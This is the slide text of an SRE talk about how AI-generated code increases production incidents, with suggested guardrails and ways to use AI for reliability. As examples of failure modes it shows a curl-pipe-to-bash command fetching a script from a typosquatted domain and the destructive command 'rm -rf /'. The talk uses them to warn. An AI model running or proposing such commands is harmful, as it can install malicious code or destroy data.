
It Pages You at 3AM

It Compiles, 
It Passes



84%of developers 
use AI tools



1 billion lines
 of accepted code a day



Accelerate 
developers’s 
productivity

~40% increase in builds

~15% increase in commits

~25% increase in completed tasks



So what’s the impact?



Incident Rate ≈ λ + (c × p)
 

λ = baseline failure rate
c = number of changes per unit time
p = probability a single change introduces failure





About me

● Leads Rootly AI Labs 
● Former LinkedIn SRE
● Founded a Software Engineering School
● Beekeeping

Sylvain Kalache



🚀

Increase In Incidents



Increase In Incidents



Losing Familiarity with Codebase



Fewer Domain Experts



Do MORE

with less



So what AI slop you’ll 
need to handle?





AI slop (code) (noun, informal) 
AI-generated code that could be generic, brittle, or 
copy-pasta-ish, often dropped in fast, light context.



AI Slop: Writes Tests that Replicates Flawed Code



Deploying random repos in production



AI Slop



AI Slop: Not Testing Intent



AI Slop: Slopsquatting



Aren’t all of these mistakes 
something humans would do?



Human slop

curl -fsSL http://acmec1oud.com/install.sh | bash

Equivalent for 
Slopsquatting



AI Slop LLMs Fat Fingering 
CLI Commands



Human slop

rm -rf /

Equivalent for Fat 
Fingering



LLMs Are Easily Distracted

In triangle ABC, AB = 86, and AC = 97. A circle centered at point A with 
radius AB intersects side BC at points B and X.

What is the length of BC? Interesting fact: Cats sleep for most of their 
lives.



LLMs Are Easily Distracted



Human Slop

Equivalent for distraction



How can I possibly let an LLM 
handle my production?



How can I possibly let an intern 
handle my production?



GenAI screws 
up, as humans 
do,

…but at a much 
faster pace



Blameless Culture



Incident Rate ≈ λ + (c × p)
 

λ = baseline failure rate
c = number of changes per unit time
p = probability a single change introduces failure



Harden p with Strong Guardrails

● Code quality → not something SREs can influence

● Test coverage → CI/CD pipeline
● Deployment process → Canarying, progressive rollouts, feature flags
● Observability → monitoring, logging, tracing
● Operational hygiene → IaC, automation, alerting
● Resilience & capacity → Load tests, chaos, autoscaling, multi-region



Fundamentals matter 
more than ever



How can YOU 
benefit from AI



If you cannot beat 
them, join them



Incident Rate ≈ λ + (c × p)
 

λ = baseline failure rate
c = number of changes per unit time
p = probability a single change introduces failure



Mutation Testing



Assisted code reviews



When incidents 
happen



MCP



AI SRE



Let it handle mundane things



AI writing your postmortem



AI build frontend for your internal tools



AI-assisted coding isn’t going anywhere

Neither is the need for reliability



Incident Rate ≈ λ + (c × p)
 

λ = baseline failure rate
c = number of changes per unit time
p = probability a single change introduces failure



Thank you
from

sylvain@rootly.com - Find me on LinkedIn

mailto:sylvain@rootly.com

